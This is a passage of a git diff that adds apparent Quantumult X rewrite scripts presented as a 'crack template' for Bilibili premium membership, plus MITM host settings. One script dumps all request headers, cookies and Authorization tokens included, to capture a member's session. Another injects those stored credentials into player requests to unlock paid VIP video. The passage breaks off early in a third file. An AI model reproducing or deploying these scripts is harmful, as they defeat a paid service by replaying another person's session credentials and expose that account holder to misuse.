4、将脚本https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/bilibiliShare.js加入重写 + 5、打开自己的B站,测试可用性。 + + QX配置: + [rewrite_local] + # Bilibili大会员(2024-01-14) + ^https?:\/\/((app|api)\.(\w{2,15})?\.(com|cn)).*player.*\.(v3|v2|v1).*Play(URL|View|Conf).*$ url script-request-header https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/bilibiliShare.cookie.js + + [mitm] + hostname = app.bilibili.com, grpc.biliapi.net,*.biliapi.net,app.bilibili.com,api.bilibili.com,api.live.bilibili.com,api.vc.bilibili.com,dataflow.biliapi.com,124.239.240.*,101.89.57.66, 218.94.210.66,240e:b1:9801:206:11:0:0:* + + ***********************************/ +const $ = new Env("Bilibili大会员通用破解模板-获取共享cookie"); +const req_url = $request.url; +const req_headers = $request.headers; + +console.log(`当前url:${req_url}`); +// 遍历头部对象并打印每个字段和值 +console.log("遍历头部对象并打印每个字段和值开始❇️"); +for (const headerField in req_headers) { + console.log(`${headerField}:❣️${req_headers[headerField]}`); +} +console.log("遍历头部对象并打印每个字段和值结束🍓"); + +// TODO: 塞到缓存中可从BoxJS一键复制 +// $.write(cacheValue, '#fmz200_bilibili_share'); +$.notify('B站会员获取共享cookie成功✅', "可到脚本日志中查看具体内容", ""); + +/*********************************** API *************************************/ +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;"POST"===e&&(s=this.post);const i=new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}));return t.timeout?((t,e=1e3)=>Promise.race([t,new Promise(((t,s)=>{setTimeout((()=>{s(new Error("请求超时"))}),e)}))]))(i,t.timeout):i}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},policy:"DIRECT",timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} +/*****************************************************************************/ + diff --git a/Scripts/bilibili/bilibiliShare.js b/Scripts/bilibili/bilibiliShare.js new file mode 100644 index 00000000..bcbf0cae --- /dev/null +++ b/Scripts/bilibili/bilibiliShare.js @@ -0,0 +1,37 @@ +/*********************************** + > 应用名称:Bilibili大会员通用破解模板 + > 软件版本:7.63.0 + > 解锁说明:解锁VIP番剧和影视 + > 更新时间:2024-09-03 + 使用方法:https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/bilibiliShare.cookie.js + + QX配置: + [rewrite_local] + # Bilibili大会员(2024-01-14) + ^https?:\/\/((app|api)\.(\w{2,15})?\.(com|cn)).*player.*\.(v3|v2|v1).*Play(URL|View|Conf).*$ url script-request-header https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/bilibiliShare.js + + [mitm] + hostname = app.bilibili.com, grpc.biliapi.net,*.biliapi.net,app.bilibili.com,api.bilibili.com,api.live.bilibili.com,api.vc.bilibili.com,dataflow.biliapi.com,124.239.240.*,101.89.57.66, 218.94.210.66,240e:b1:9801:206:11:0:0:* + + ***********************************/ +const $ = new Env("Bilibili大会员通用破解模板"); + +let modifiedHeaders = $request['headers']; + +modifiedHeaders['Cookie'] = $.getdata('Cookie'); +modifiedHeaders['x-bili-device-bin'] = $.getdata('x-bili-device-bin'); +modifiedHeaders['Authorization'] = $.getdata('Authorization'); +modifiedHeaders['User-Agent'] = $.getdata('User-Agent'); +modifiedHeaders['buvid'] = $.getdata('buvid'); +modifiedHeaders['x-bili-metadata-bin'] = $.getdata('x-bili-metadata-bin'); +modifiedHeaders['x-bili-locale-bin'] = $.getdata('x-bili-locale-bin'); +modifiedHeaders['x-bili-network-bin'] = $.getdata('x-bili-network-bin'); +modifiedHeaders['x-bili-fawkes-req-bin'] = $.getdata('x-bili-fawkes-req-bin'); +modifiedHeaders['x-bili-trace-id'] = $.getdata('x-bili-trace-id'); + +$done({'headers': modifiedHeaders}); + + +/*********************************** API *************************************/ +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;"POST"===e&&(s=this.post);const i=new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}));return t.timeout?((t,e=1e3)=>Promise.race([t,new Promise(((t,s)=>{setTimeout((()=>{s(new Error("请求超时"))}),e)}))]))(i,t.timeout):i}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},policy:"DIRECT",timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} +/*****************************************************************************/ diff --git a/Scripts/bilibili/json.js b/Scripts/bilibili/json.js new file mode 100644 index 00000000..e50270d6 --- /dev/null +++ b/Scripts/bilibili/json.js @@ -0,0 +1,210 @@ +// 2024-10-19 12:35 + +const url = $request.url; +if (!$response.body) $done({}); +let obj = JSON.parse($response.body); + +if (url.includes("/x/resource/show/tab/v2")) { + // 底部选项卡 + if (obj?.data?.bottom?.length > 0) { + const sortLists = ["首页", "动态", "我的"]; + obj.data.bottom = obj.data.bottom + .filter((i) => sortLists?.includes(i?.name)) + .sort((a, b) => sortLists.indexOf(a?.name) - sortLists.indexOf(b?.name)); + } + 